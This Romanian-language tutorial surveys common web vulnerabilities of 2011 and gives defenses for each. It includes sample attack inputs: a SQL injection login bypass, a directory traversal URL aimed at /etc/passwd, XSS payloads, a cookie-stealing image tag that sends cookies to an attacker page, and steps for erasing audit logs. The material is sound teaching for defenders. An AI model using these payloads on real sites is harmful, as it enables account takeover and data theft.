Cele mai intalnite vulnerabilitati web 2011

Securitatea aplicatiilor web – cele mai intalnite vulnerabilitati/atacuri si metode de aparare impotriva lor

In zilele noastre cea mai mare parte a informatiei, de care avem nevoie atat in viata de zi cu zi cat si in mediile profesionale si de studii, se gaseste pe internet. Fie ca este vorba despre ultimele stiri, ultimele activitati ale prietenilor si familiei, carti, achizitionarea diverselor produse disponibile in magazinele virtuale sau chiar e-banking, folosim aceasta minunata unealta aparent buna la toate, internetul. Insa, ceea ce majoritatea utilizatorilor nu stiu despre internet este ca, pe cat este de atractiv pe atat este de vulnerabil in fata atacurilor cibernetice.

Acestea sunt cele mai mai des intalnite vulnerabilitati ale aplicatiilor web, dupa clasamentul celor de la Trustwave’s Global Security pentru anul 2011:

1.	SQL Injection
2.	Logic Flaw
3.	Authorization Bypass
4.	Cross-site Scripting (XSS)
5.	Authentication Bypass
6.	Vulnerable Third Party Software
7.	Session Handling Flaw
8.	Cross-site Request Forgery (CSRF)
9.	Verbose Errors
10.	Source Code Disclosure

1.	SQL Injection

Majoritatea proiectelor web, folosesc baze de date pentru a-si stoca si ordona datele. Structured Query Language (SQL) este folosit pentru a accesa informatiile dintr-o baza de date, sintaxa acesteia poate sa difere putin in cazul diferitelor servere de bazele de date, insa, SQL este un limbaj universal potrivit pentru toate bazele de date.
O vulnerabilitate numita injectie cu cod sursa SQL (pe scurt injectie SQL) apare atunci cand un atacator poate introduce orice date intr-o interogare SQL sau cand, prin injectarea sintaxei, logica declaratiei, sa fie modificata in asemenea fel incat sa execute o actiune diferita. Injectia SQL poate fi cruciala pentru sistem dar, in ciuda pericolului pe care il prezinta, este una din cele mai frecvente vulnerabilitati.

Atacul:

•	Descoperirea vulnerabilitatilor: un test rapid se poate face prin introducerea unui singur apostrof, la sfarsitul valorii, intr-un camp destinat introducerii datelor de catre useri (in sintaxa SQL acesta delimiteaza inceputul sau sfarsitul unei declaratii si are potentialul de a perturba asocierea delimitatorilor de siruri si de a genera o eroare de aplicatie).
 ex: http://www.paginaweb.ro/utilizatori.asp?id bob‘
Daca cererea genereaza o eroare poate fi luata ca un indicator bun ca pagina poate fi vulnerabila la atacurile cu injectie SQL. Vulnerabilitatile la aceasta metoda de atac pot fi gasite in orice parametru care influenteaza o interogare a bazei de date (parametrii URL, data post-urilor sau valorile cookie-urilor).
•	Atacul: odata determinata existenta vulnerabilitatii trebuie determinat impactul pe care aceasta il are asupra securitatii aplicatiei. Crearea unei erori este simpla dar nu este acelasi lucru cu extragerea informatiilor din baza de date dupa bunul plac.
Daca putem folosi o injectie SQL pentru a schimba logica unei interogari, am putea schimba un proces normal din aplicatie. Un exemplu bun pentru asta este formularul de autentificare. O aplicatie in spatele careia se afla o baza de date poate utiliza o interogare asemanatore pentru a valida numele si parola utilizatorului: SELECT COUNT(ID) FROM UserTable WHERE UserId '+ strUserID +' AND Password ' + strPassword + '.
Daca utilizatorul introduce un nume si o parola care coincid cu o inregistrare din baza de date, atunci COUNT(ID)=1 si aplicatia ii va permite acestuia sa treaca de pagina de autentificare. Daca COUNT(ID)=0 sau NULL inseamna, fie, ca numele sau parola sunt incorecte, sau, utilizatorul nu este inregistrat in baza de date si nu ii va fi permisa accesarea aplicatiei.
Pentru a nu s-ar face nici o validare a datelor introduse in campul parametrului nume, putem rescrie interogarea  in asa fel incat instructiunea SELECT sa reuseasca iar pentru asta nu avem nevoie decat de un nume de utilizator. Asa arata o interogare modificata: SELECT COUNT(ID) FROM UserTable WHERE UserId 'bob'-- 'AND Password''.
Observati ca numele include un singur apostrof si un delimitator de comentariu, “ ’ ” care delimiteaza corect UserId-ul (Bob), iar “--“ urmat de un spatiu reprezinta un comentariu, deci, tot ce se afla in partea dreapta este ignorat. Numele utilizatorului ar fi introdus in formularul de autentificare de forma:  bob'--%20.
Aceasta forma a atacului ar putea functiona impotriva unei pagini de login pentru a ne permite vizualizarea informatiilor de pe profilul unui utilizator sau pentru a trece de limitarile de acces.

Metode de prevenire a atacurilor de tip SQL injection:

Metodele de aparare impotriva atacurilor ar trebui sa fie adresate direct tipurilor de atac specifice bazelor de date si sa poata minimiza impactul unui brese in cazul in care una din metodele de aparare s-a dovedit inadecvata. Cea mai buna metoda de aparare impotriva injectiilor SQL se bazeaza pe rutine puternice de validare a datelor de intrare.
Exista masuri specifice care pot fi luate in cadrul bazei de date si la nivelul aplicatie:
•	Utilizati variabile bine definite si definitiile coloanelor bazei de date: Stocati si manipulati numerele (ID-uri de sesiune, coduri postale, date de nastere) ca si numere intregi sau ca alte tipuri numerice potrivite. String-urile (varchars) ar trebui sa contina doar caractere alfanumerice si sa respinga semnele de punctuatie si caracterele specifice sintaxei SQL.
•	Atribuiti rezultatele interogarii unei variabile bine definite: daca aplicatia cauta valori numerice atunci atribuiti rezultatul unui numar intreg, acest lucru ii impiedica pe atacatori sa extraga informatii din baza de date. Nu este posibil sa fie obtinut si afisat numele unei coloane daca variabila ce urmeaza sa fie afisata in browser nu accepta decat numere intregi. Aceasta tehnica restrictioneaza sever anumite atacuri.
•	Limitati lungimea datelor: toate sirurile de caractere ar trebui sa se limiteze la o lungime potrivita scopului lor. Un nume de familie, de exemplu, nu este necesar sa fie stocat si manipulat intr-o variabila care utilizeaza 256 de caractere. Limitarea numarului de caractere care poate fi introdus intr-un camp poate impiedica in mod eficient succesul unei injectii SQL, reducand, lungimea sirului de caractere pe care atacatorul il poate introduce in cod.
•	Evitati crearea de interogari prin concatenarea de siruri de caractere: creati o functie view sau o procedura, care opereaza asupra variabilelor furnizate de aplicatie. Concatenarea sirurilor de caractere, unde interogarea este formata direct din datele furnizate de utilizatori (de genul: “SELECT something FROM table WHERE” + variable…), este cea mai vulnerabila la atacurile SQL Injection. Pe de alta parte, o functie view sau o procedura particularizata, de obicei generaza o eroare daca primeste date de intrare incorecte, insa, nu ii va permite unui atacator sa manipuleze intreaga intrerogare.
•	Aplicati separarea datelor si accesul pe baza de rol in interiorul bazei de date: aplicatia ar trebui sa foloseasca un cont care are privilegii de acces doar pentru tabelele necesare ei. Cataloagele interne ale bazei de date, in special cele legate de managementul conturilor si variabilele sistemului, nu ar trebui sa fie accesibile.

2.	Logic Flaw

Toate aplicatiile web folosesc logica pentru a avea functionalitate. A scrie cod intr-un limbaj de programare, nu inseamna nimic altceva decat descompunerea unui process complex in pasi mici si simplii, pentru, a aduce ceea ce este pe intelesul oamenilor la nivelul la care poate fi executat de catre computer iar atunci cand un numar mare de programatori si designer diferiti, lucreaza in paralel la aceeasi aplicatie, exista sanse foarte mari sa apara erori.
Pana si pentru dezvoltarea celor mai simple aplicatii web este nevoie o cantitate mare de logica pentru fiecare etapa. Aceasta logica prezinta oportunitatea pentru erori logice, iar erorile logice ofera o baza foarte mare si variata de atac, de multe ori, insa, sunt trecute cu vedrea deoarece, rareori, poat fi scanate cu programe specializate in scanarea vulnerabilitatilor, nu au o semnatura specializata ca si vulnerabilitatile la injectiile SQL sau cross-site scripting si sunt mai greu de recunoscut si caracterizat.
Erorile logice apar atunci cand programatorul sau dezvoltatorul aplicatiei web nu se gandeste la toate efectele pe care le poate avea asupra aplicatiei codul scris de el, luand in considerare un anumit efect (cel pe care el intentioneaza sa-l implementeze in primul rand) si omitand alte efecte posibile (secundare). Deoarece, in general, sunt mai greu de inteles si nu sunt apreciate ca si vulnerabilitati atat de grave, ele, prezinta un interes foarte mare pentru atacatori.
Defectele logice nu pot fi definite si invatate prin terorie, deci, cea mai buna metoda de explicare a lor este prin exemplu concret.

Exemple:

•	Pacalirea functiei pentru schimbarea parolei: autorii au descoperita aceasta eroare de logica intr-o aplicatie web utilizata de catre o societate de servicii financiare si, de asemenea, in  aplicatia AIM Enterprise AOL Gateway.
Functioaliatea: aplicatia consta intr-o functie pentru schimbarea parolei de catre utilizatorii finali, in care trebuiau completate campurile: nume, parola actuala, noua parola si confirmarea noii parole. De asemenea venea cu o functie care permitea schimbarea parolei de catre administrator, prin care acestia puteau schimba parola oricarui utilizator fara a li se cere sa introduca vechea parola. Cele doua functii au fost puse in aplicare in cadrul aceluiasi script pe partea serverului.
Presupunerea: Interfetele afisate clientilor si administratorilor difereau intr-un singur aspect – cea afisata administratorului nu avea campul pentru introducerea vechii parole. Asadar cand serverul procesa o schimbare de parola, utiliza prezenta sau absenta vechii parole pentru a determina daca carerea a fost facuta de un administrator sau de un utilizator obisnuit. Cu alte cuvinte, eroarea logica, a constat in faptul ca programatorii au presupus ca utilizatorii obisnuiti for furniza intotdeuna vechea parola.
Cod: String existingPassword = request.getParameter(“existingPassword”);
if (null == existingPassword)
{
trace(“Old password not supplied, must be an administrator”);
return true;
}
else
{
	Tace(“Verifying user’s old password”);
 	...
Atac: odata ce ipoteza a fost formulata in mod explicit in acest mod, eroarea logica devine evidenta, din moment ce utilizatorii controleaza fiecare aspect al cererilor pe care le emit, pot alege sa completeze sau nu campul care cere vechea parola. Acest defect logic s-a dovedit a fi devastator pentru aplicatie, deoarece, permitea unui atacator sa resteteze parola oricarui alt utilizator preluand, astfel, controlul asupra contului acestuia.

•	Stergerea unei piste de audit: acest defect logic a fost descoperit intr-un centru de telefonie.
Functionalitate: aplicatia a implementat diverse functii care permiteau personalului de la biroul de asistenta si administratorilor sa gestioneze o baza de date de mari dimensiuni. Multe din aceste functii se refereau la informatii securizate, inclusive crearea de conturi si schimbarea de parole, asadar, aplicatia a mentinut o gestiune complete de audit, inregistrand fiecare actiune efectuata si identitatea utilizatorului care a responsabil. Aplicatia includea o functie care le permitea administratorilor sa sterga anumite inregistrari de audit, insa pentru a evita exploatarea in scopuri rau-voitoare, orice utilizare a functiei de stergere era la randul ei inregistrata, pentru a se putea sti utilizatorul responsabil de utilizarea acestei functii.
Presupunerea: designerii aplicatiei au crezut ca nimeni nu poate sterge inregistrarile de audit fara a lasa macar o urma (aceasta presupunere a fost testata de catre administratorii lor, intotdeuna ramanand ultima inregistrare a persoanei care a sters datele).
Atac:  presupunerea designerilor a fost gresita, exista o cale de a accesa datele, a produce modificari asupra lor si de a iti sterge urmele in intregime. Pasii sunt urmatorii:
	Autentificarea cu contul propriu, si creati un nou cont de utilizator.
	Atribuiti toate privilegiile dumneavoastra noului cont.
	Utilizati noul cont pentru a duce atacul la capat.
	Utilizati un nou cont pentru a sterge toate inregistrarile generate de primele trei etape.
	Fiecare din actiuni genereaza inregistrari in jurnalul de audit, dar pentru ca in ultima faza 	ultimul cont sterge toate datele legate de intrarile precedente, in jurnalul de audit este 	indicat doar faptul ca ce-l de-al doilea cont nou creat a sters toate datele, dar cum cel care i-a 	dat privilegii noului cont este primul cont nou creat, si cum inregistrarile legate de cine a 	creat 	acest cont au fost sterse, nu exista nimic care sa poata lega identitatea persoanei 	care detine contul care a dus la capat atacul, de contul	initial al persoanei care a pornit 	atacul. Crima perfecta.

	Prevenirea aparitiei defectelor logice:

	Nu exista nici o reteta perfecta de a evita erorile logice, ci doar o serie de sfaturi care va poat ajuta sa evitati aceste erori:
•	Documentati toate aspectele legate de designul aplicatiei suficient de detaliat pentru a putea fi usor intelese de cineva din exterior.
•	Lasati comentarii in codul sursa care sa includa urmatoarele informatii:

	Scopul si functionalitatea fiecarei bucati de cod.
	Presupunerile facute de fiecare componenta in legatura cu elementele care nu se afla direct sub controlul ei.
	Adaugati comentarii pentru fiecare bucata de cod care sa faca trimitere la toate componentele care il folosesc.

•	In timpul recenziilor de securitate referitoare la cod, plecati de la ideea pe care a avut-o designerul si mergeti inspre modul in care ar putea influenta utilizatorii aplicatia.
•	In timpul verificarii de securitate puneti accent pe modul in care se comporta aplicatia in momentul in care sunt introduse date eronate si efectele produse asupra dependentelor si interoperabilitatilor dintre diversele component ale codului.

3.	Authorization Bypass

	Procesul prin care se stabileste daca un utilizator, care foloseste o anumita identitate, are permisiunea de a accesa o resursa sau nu, si dupa verificare acordandu-i-se accesul la acea resursa, in concordanta cu politicile sistemului, indiferent de identitalea lui/ei reala (aici ne referim la aplicatii web unde in general utilizatorii nu isi folosesc numele reale ci pseudonime) poarta numele de autorizatie.
	Vulnerabilitatile ce tin de autorizatii si acces pot aparea oriunde in aplicatia web, si se refera la ce se intampla atunci cand un atacator are acces la o resursa, la care, in mod normal au acces doar utilizatorii autentificati sau care detin anumite privilegii in acele aplicatii.
	 Vulnerabilitati comune sunt:
•	Traversarea de directoare
•	Evitarea unor mecanisme de autorizare
•	Crestere a privilegiilor
	Serverele restrictioneaza utilizatorii care navigheaza pe un site la documentul radacina al acestuia, a carui localizare depinde de sistemul de operare instalat pe server, si aditional in functie de permisiunile de citire/scriere/executie pe care le are utilizatorul respectiv le are asupra fisierelor de pe server. Subminarea unui script de executie pentru a traversa directoarele serverului si a citi fisiere protejate cum ar fi /etc/passwd este cunoscuta ca atac cu traversare de directoare.
	Cum aproape toate aplicatiile web folosesc roluri (ex: utilizator neautentificat/ utilizator autentificat/ administrator) care pot avea diferite nivele de acces, oricand un atacator a reusit sa acceseze un privilegiu restrictionat nivelului lui/ei de acces, a reusit sa evite mecanismul de autorizare, acest lucru se face de obicei prin shimbarea rolului intr-unul superior.

	Atacul:

	Avem sursa: http://www.exemplu.com/index.php?page=login. Un atatc tip traversare de directoare al carui scop este de a afisa fisierul /etc/passwd poate fi realizat prin a schimba URL-ul in: http://www.exemplu.com/index.php?page=../../../../../../../etc/passwd.
	Luati in considerare o cerere HTTP facuta unui administrator pentru a reseta parola unui utilizator: Post / admin / resetPassword.jsp HTTP/1.1
	    Realizator: www.examplu.com
	    [HTTP Headers]
	    utilizator = admin & newpassword = parola
	Daca atacatorul poate face o cerere identica si aplicatia web reseteaza parola unui cont de administrator, atacatorul evita mecanismul de autentificare, deoarece aceasta functie era gandita pentru a fi folosita doar de administratorii aplictiei, intr-un sens este o crestere a privilegiilor deoarece un non-administrator poate folosi functia de resetare a parolelor si obtine acces la contul de administrator cu noua parola.

	Metode de prevenire a atacurilor de tip Authorisation Bypass:

	Cele mai simple metode de protectie impotriva acestui tip de atac sunt validarea datelor introduse de utilizatori si urmarirea metodelor de proiectare sigura. Este important sa fie identificata din timp orice parte a aplicatiei web care poate fi folosita intr-un eventual atac informatic, acest lucru nu se refera doar la campurile in care utilizatorul poate introduce date, ci si la orice valoare pe care utilizatorul o poate modifica si trimite prin intermediul unui proxy, cum ar fi datele din cookie-uri, campurile ascunse, etc. Aceste date ar trebui validate corespunzator inainte de a putea trece mai departe.
	Utilizati de asemenea principiul de a da cat mai putine privilegii utilizatorului, cu cat acesta care mai putine privilegii cu atat scad sansele de a putea duce la capat un atac asupra aplicatiei web.

4.	Cross-site Scripting (XSS)

	XSS este o tehnica de atac, folosit pentru a forta o pagina web sa afiseze un cod malitios (scris, de obicei, in HTML (Hypertext Markup Language)/ JavaScript (numit malware)), pe care il executa ulterior in browser-ul unui utilizator. Acest tip de atac, nu are ca tinta serverul site-ului web, (acesta este doar o gazda), ci codul malware este executat direct in browser, deoarece, adevarata tinta a atacului este utilizatorul. Hackerul va folosi doar site de incredere pentru a efectua atacul , si odata ce are control asupra browser-ului utilizatorului, il va putea folosi pentru a ii: fura un cont victimei, inregistrarea tastelor apasate de la tastatura victimei, furtul inregistrarilor din istoricul browser-ului, etc.
	Pentru a infecta un browser, trebuie sa vizitati o pagina care contine malware JavaScript.
	Sunt mai multe modalitati prin care un malware scris in JavaScript poate deveni rezident pe o pagina web:
•	Proprietarul paginii web il poate incarca intentionat.
•	Pagina web poate primi un deface folosind o vulnerabilitate a retelei sau a straturilor sistemului de operare, iar parte din codul introdus sa fie malware JavaScript.
•	Poate fi folosita o vulnerabilitate permanenta la XSS, iar malware-ul sa fie injectat intr-o zona publica a paginii web.
•	Victima poate accesa un link special pregatit in spatele caruia se ascunde un XSS non-persistent sau bazat pe Document Object Model (DOM).

	Atacul:

Non-persistent:
	Daca atacatorul doreste sa atace prin XSS pagina http://vulnerabil/, un site de comert electronic mai intai trebuie sa gaseasca o vulnerabilitate la XSS. Pentru asta acesta cauta un parametru de unde utilizatorul poate trimite mesaje la server si la care primeste mesaje inapoi (de obicei un camp pentru cautare).
	Daca introduce “test pentru xss” in campul de cautare raspunsul va fi un nou url cu un sir de interogare care contine testez+pentu+xss ca si valoare a parametrului p. Aceasta valoare poate fi schimbata daca introducem codul HTML/JavaScript: "><SCRIPT>alert('XSS%20Testing')</SCRIPT>. Ca si rezultat pagina va afiza o fereastra de dialog inofenseiva (dupa instructiunea din cod) care este acum parte din pagina, demonstrand succesul codului care acum face parte http://vulnerabil/. De aici URL-ul poate fi modificat sa contina  atacuri XSS mai complexe (ex: furtul de cookie-uri).

Bazat pe DOM:
	Atacul XSS bazat pe DOM este o forma unica de cross-site scripting (xss), foarte similara cu cel non-persistent dar fara a fi nevoie sa trimitem un mesaj  si sa asteptam raspuns. Consideram pagina de comert electronic din exemplul urmator, doar ca are o caracteristica in plus pentru afisarea promotiilor si ca interogarile din URL-urile pentru afiseare produselor isi trag datele direct din backend-ul bazei de date (ex: id_produs) pentru a le afisa utilizatorului.
	Putem manipula URL-urile pentru a afisa mesaje diferite sau putem adauga malware la sfarsitul URL-ului in acest fel:
	Din: http://vulnerabil/promo?product_id=100&title=Last+Chance!
	In: http://victim/promo?product_id=100&title=Foo#<SCRIPT>alert('XSS%20Testing')</SCRIPT>
	In acest caz JavaScript-ul de pe partea clientului are incredere orbeste in datele continute de URL si le afiseaza pe ecran. Ce face acest stil de atac XSS diferit este ca nu se trimite codul malware la serverul web, ci fragmentul din URL nou adaugat ii spune browser-ului in ce punct al documentului curent sa sara (ramane in cadrul DOM, de aici si numele).
Persistent:
	Atac XSS persistent sau injectie cu cod HTML nu necesita link-uri special pentru executie, tot ce trebuie hackerul sa faca este sa adauge codul XSS intr-o parte a paginii web care are potential mare de a fi vizitata de catre utilizatori (comentariile de pe bloguri, posturile de pe forumuri, chaturi, etc.). Odata ce utilizatorul viziteaza pagina infectata, executia este automata ceea ce face a acest tip de atac sa fie mult mai periculor decat primele doua, deoarece, nu exista cale prin care utilizatorul se poate apara, si pana, si utilizatorii care stiu despre aceasta vulnerabilitate pot fi usor compromisi.

	Metode de prevenire a atacurilor de tip Cross-site scripting (XSS):

	Codificarea datelor de intrare si de iesire au fiecare argumentele lor pozitive si negative. Parta pozitiva a codificarii datelor de intrare va ofera un singur punct de acces, in timp ce, codarea datelor de iesire va ofere posibilitatea de a face fata tuturor utilizarilor textului si pozitionarea acestuia in pagina. Partile negative sunt ca nici codarea datelor de intrare nu poate opri un atac XSS persistent odata ce a fost stocat, iar codarea datelor de iesire nu poate opri alte forme de atac, cum ar fi injectia cu cod SQL, deoarece intervine prea tarziu. Exista un numar de solutii de a va proteja in calitate de client. Niste idei simple sunt: alegerea unui browser securizat, folosirea unei masini virtuale, de a accesa doar link-urile cunoscute, si a avea grija la ce informatii divulgati depre conturile dumneavoastra, aceste precautii pot face o mare diferenta.

•	Filtrarea:
	Filtrarea poate produce rezultate neasteptate daca nu monitorizati atent datele de iesire.
	Folosirea unei bucle poate reduce riscurile asociate cu filtrarea de continut.
	Doar filtrarea, fara folosirea altor metode, poate introduce noi riscuri prin crearea unor noi tipuri de atac, asadar, este important sa intelegeti in ce ordinte trebuie filtrele aplicate si cum interactioneaza unul cu celalat.
•	Codarea datelor de intrare:
	Poate crea un singur punct de intrare a datelor pentru toate codarile.
	Va poate proteja impotriva la mai mult decat de vulnerabilitatea la XSS, va poate proteja, de asemenea, de injectii cu cod SQL si injectii de comanda care pot fi verificate inainte de a stoca informatii in baza de date.
	Nu poate opri atacurile persistente de tip XSS odata stocate.
•	Codarea datelor de iesire:
	Este mai detaliat si poate lua si contextul in considerare.
	Se poate ca dezvoltatorii sa trebuiasca sa efectueze codarea de mai multe ori pentru aceeasi locatie acolo unde este trimisa informatia.
•	Securitatea browser-ului web:
	Evitati URL-urile prea lungi sau prea complexe, acestea sunt cel mai probabil sa contina vulnerabilitati.
	Nu accesati URL-uri necunoscute primite prin e-mail, daca este posibil.
	Alegeti un browser sigur si personalizati-va setarile de securitate pentru a reduce riscul de atac.

5.	Authentication Bypass

	Autentificarea dovedeste, intr-o oarecare masura, identitatea unei personae sau entitati. De exemplu, toti folosim parole pentru a ne loga in conturile personale de e-mail. Prin asta ne dovedim identiatea. Paginile web folosesc certificate Secure Socket Layer (SSL) pentru a valida ca traficul provine intr-adevar de la domeniul solicitat de catre site, acest lucru ne asigura ca site-ul este cel adevarat si nu o copie. Atacatorul are doua optiuni pentru a sparge un sitem de autentificare: utilizarea unei parole furate sau evitarea verificarii autentificarii. Pentru indentifica si monitoriza activitatea unui utilizator pe o pagina web, acestuia ii se atribuie un token de sesiune unic de obicei sub forma de cookie-uri. Acest lucru ajuta site-ul web sa isi diferentieze utilizatorii intre ei si li se atribuie utilizatorilor atunci cand acceseaza pagina web, inainte ca acestia sa se autentifice (odata autentificati site-ul atribuie cookie-ul utilizatorului respectiv.
	Odata autentificat utilizatorul respective este identificat doar dupa cookie-ul de sesiune, deci daca un atacator il compromite, ghicindu-i valoarea sau furandu-l, reuseste sa treaca cu success de mecanismul de autentificare a paginii respective si sa ii ia locul victimei.

	Atacul:

	Cookie-urile de sesiune pot fi compromise prin mai multe metode:

•	Cross-site scripting (XSS): daca atributul HttpOnly nu este setat JavaScript poate accesa obiectul document.cookie. Cea mai simpla forma de atac <img src=’http://paginaatacatorului/’ +escape(cookie-ul documentului)> acest cod trimite numele cookie-ului=valoare unui site unde atacatorul poate vedea traficul venit din exterior.
•	Cross-site request forgery (CSRF): atacatorul exploateaza indirect sesiunea unui utilizator, pentru asta victima trebuie sa fie deja autentificata pe site-ul tinta. Atacatorul plaseaza o pagina capcana pe un alt site, cand victima viziteaza pagina infectata, browser-ul face in mod automat o cerere catre pagina tinta folosind cookie-ul de sesiune al victimei.
•	SQL Injection: unele aplicatii web stocheaza cookie-urile de sesiune intr-o baza de date, in loc sa le stocheze intr-un sistem de fisiere sau spatiul de memorie al serverului web, daca un atacator sparge baza de date, poate fura cookie-urile de sesiune.
•	Network snifffing: HTTPS incripteaza traficul dintre browser si pagina web pentru a oferi confidentialitate si integritate comunicatiilor dintre ele, majoritatea formularelor de autentificare sunt trimise prin HTTPS, insa majoritatea aplicatiilor web folosesc HTTP pentru restul paginilor, HTTPS protejeaza parola utilizatorului, in timp ce, HTTP expune cookie-ul de sesiune in vazul tuturor, mai ales prin retelele wireless din locurile publice (cafenele, aeroporturi, scoli, etc.).

Metode de aparare impotriva atacurilor de tip authentication bypass:

	Cookie-urile de sesuine trebuie tratate cu un nivel de securitate apropiat, daca nu chiar identic cu cel al parolelor, deoarece parolele identifica utilizatorul doar cand acestia se autentifica prima data pe site, in timp ce cookie-urile de sesiune il identifica pe acesta pentru toate celelalte cereri pe care le face in cadrul paginii web.

	Cookie-urile de sesiune pot fi protejate prin aceste metode:

•	Aplicati atributul HttpOnly pentru a preveni JavaScript-ul sa acceseze valorile cookie-urilor.
•	Aplicati atributul Secure pentru a preveni cookie-urile sa fie trimise prin conexiuni non-HTTPS (Hypertext Transfer Protocol Secure), aceasta metoda insa functioneaza doar in contextul atacurilor de tip sniffing.
•	Definiti o perioada explicita de expirare pentru cookie-urile persistente.
•	Expirati cookie-ul in browser si sesiunea pe server.
•	Folositi optiunile gen „Remember Password” cu atentie, chiar daca sunt comode pentru utilizator acestea au un grad mare de risc mai ales pe computerele pe care le impartiti cu alte persoane (acestea va pot citi e-mail-urile, schimba parolele sau sterge conturile).
•	Generati un numar pseudo-aleator complex daca cookie-ul este un identificator.
•	Incriptati cookie-urile daca aceste sunt descriptive.

	Mecanismele de sesiune si autentificare a unui site trebuie sa fie folosite in cadrul unor practici bune de securitate, deoarece fara masuri bune de contraatac, o slabiciune intr-o parte a aplicatiei web poate cu usurinta compromite o alta parte a acestuia.
6.	Vulnerable Third Party Software

	Cand vine vorba de aplicatii care provin de la alte companii, majoritatea designerilor si proprietarilor de aplicatii web presupun, ca acestea sunt sigure, si nu le mai testeaza inainte de implementare ceea ce poate duce la brese grave de securiate ale aplicatiei web. Multe aplicatii web provenite din terte parti sunt nesigure si de multe ori interfetele acestor programe vin cu un nume de utilizator implicit si parola “admin”. Aceasta este o bresa grava de securitate deoarece, fiind atat de usor de “ghicit” numele de utilizator si parola, un atacator poate accesa orice parte a aplicatiei web, inclusive cea a consolei de comanda, in care poate introduce date cu care poate manipula direct sistemul de operare pe care se bazeaza serverul aplicatiei respective, asa poate obtine date privilegiate, sterge/modifica baza de date a aplicatiei, poate schimba rolurile utilizatorilor, etc.
	De asemenea, aplicatiile web provenite din terte surse, pot fi vulnerabile la toate atacurile la care pot fi vulnerabile si aplicatiile web facute de noi (XSS, SQL injection, etc.)
	Pentru a va proteja de brese de securitate, oricand adaugati un nou software aplicatiei dumneavoastra web, nu faceti presupuneri ca sunt sigure, sau ca au fost testate amanuntit inainte de a fi scoase pe piata si toate problemele rezolvate, ci testatile dumneavoastra cat puteti de amanuntit pentru a va asigura ca nu veti avea probleme mai tarziu. O eroare aparuta intr-un program va pot pune in pericol intreaga aplicatie web.

	Raportul Verizon pentru 2011 cu privire la investigarea furturilor de date arata ca:

•	66% din aplicatiile facute de industria de software prezinta un nivel inacceptabil de scazut al securitatii la eliberarea pe piata.
•	72% din produsele dedicate securitatii si programele de service au o caliatate a securitatii inacceptabila: cele mai grave probleme au fost descoperite la programele de asistenta pentru clienti (82% inacceptabile), uramate de programele de securitate (72%).
•	Dezvoltatorii au nevoie de mai mult train-ing in legatura cu securitatea programelor: mai mult de jumatate din dezvoltatorii care au dat examenul de principii de baza ale securitatii aplicatiilor au luat 5 sau mai putin.
•	Intre programele publice si cele private ale furnizorilor de software s-au gasit foarte putine diferente
•	Industria de software se misca rapid pentru a remedia erorile: 90% din programe au atins nivele acceptabile de securitate in 30 de zile de la lansarea pe piata.
•	Vulnerabilitatea la injectiile cu cod SQL scade incet.
•	Construirea de software bine securizat nu trebuie sa consume mult timp.

	Nu exista nici o aplicatie care este 100% lipsita de vulnerabilitati, insa, puteti incerca sa reduceti cat mai mult aceste probleme, dar acest lucru nu se va intampla decat daca testati amanuntit intreaga aplicatie web pentru a descoperi punctele ei slabe si a incerca sa le remediati. Nu faceti presupuneri cand este vorba de securitate.

7.	Session Handling Flaw

	Autentificarea si managementul de sesiune includ toate aspectele ce tin de manipularea datelor de autentificare ale utilizatorului si managemnetul sesiunilor active ale acestuia. Autentificarea este un process critic al acestui aspect, dar pana si cel mai solid proces de autentificare poate fi subminat de erori ale functiilor de management pentru verificarea credentialelor, incluzand: schimarea parolelor, functia de recuperare a parolelor uitate, functia de amintire a parolelor de catre aplicatia web, update-uri ale conturilor, si alte functii legate de acestea. Pentru a evita astfel de probleme, pentru orice fel de functii legate de managementul conturilor, ar trebui sa ceara reautentificarea utilizatorului, chiar daca acesta are un id de sesiune valid.
	 Autentificarea utilizatorilor pe internet, de obicei, necesita un nume de utilizator si o parola. Exista metode mai bune de autentificare pe piata de tip hardware si software bazate pe token-uri criptate si biometrie, insa acestea nu sunt foarte raspandite datorita costurilor mari de achizitionare. O gama larga de erori legate de conturi si managementul sesiunilor rezulta in urma compromiterii conturilor utilizatorilor sau celor de administrare a sistemului.
	Echipele de dezvoltate, de cele mai multe ori, subestimeaza complexitatea necesara pentru a proiecta o metoda de autentificare si management al sesiunilor care sa protejeze corespunzator credentialele, in toate aspectele aplicatiei web. Paginile web au nevoie de sesiuni pentru a putea monitoriza valul de cereri venit de la fiecare utilizator in parte, cum HTTP nu poate face acest lucru, fiecare aplicatie web trebuie sa si-l faca singura. De cele mai multe ori, mediul aplicatiilor web ofera asemenea capabilitati, insa multi dezvoltatori prefera sa isi creeze propriile token-uri de sesiune.
	Daca toate credentialele  de autentificare si identificatorii de sesiune nu sunt protejate corespunzator, prin SSL in permanenta, protejate impotriva divulgarii si alte tipuri de erori, cum ar fi vulnerabilitatea la cross-site scripting, un atacator poate fura sesiunea unui utilizator si sa isi asume identitatea acestuia.
	Toate serverele web, serverele de aplicatii si mediile aplicatiilor web cunoscute sunt susceptibile la problemele legate de evitatea mecanismelor de autentificare si de management al sesiunilor. Acest gen de vulnerabilitate se bazeaza mult pe eroare umana si tehnologii care nu indeplinesc standardele de securitate necesare.

	Metode de prevenire a vulnerabilitatilor legate de managementul sesiunilor:

•	Complexitatea parolelor: parolele ar trebui sa aiba restrictii care cer un numar minim de caractere si de complexitate, de asemenea ar trebui sa li se ceara utilizatorilor sa isi schimbe periodic parola si sa le fie interzis sa refoloseasca o parola veche.
•	Utilizarea de parole: utilizatorilor ar trebui sa le fie limitat numarul de logari pe care le pot incerca intr-o anumita unitate de timp iar tentativele esuate de autentificare ar trebui logate, insa parolele introduse nu ar trebui inregistrate, deoarece acest lucru poate expune parola utilizatorului, oricui reuseste sa obtina accesul la loguri. Sistemul, de asemenea nu trebuie sa indice motivul pentru care procesul de autentificare nu a reusit, iar utilizatorul sa fie informat cu privire la data ultimei autentificari reusite, si numarul de autentificari nereusite de atunci.
•	Comenzile de schimbare a parolelor: ar trebui folosit un singur mecanism de schimbare a parolelor indiferent de circumstantele in care acest lucru se inatmpla. Utilizatorul sa trebuiasca intotdeauna sa scrie vechea parola si noua parola de fiecare data. Daca parolele uitate sunt trimise utilizatorului prin e-mail, sistemul ar trebui sa-i ceara utilizatorului sa se reautentifice atunci cand isi schimba adresa de e-mail, altfel un atacator care are acces la token-ul de sesiune temporar al utilizatorului, poate pur si simplu sa schimbe adresa la care sa fie trimisa parola “uitata”.
•	Stocarea parolelor: toate parolele trebuie criptate sau sub forma de hash-uri indiferent de locul unde sunt stocate. Este de preferat stocarea sub forma de hash-uri deoarece acestea nu sunt reversibile.
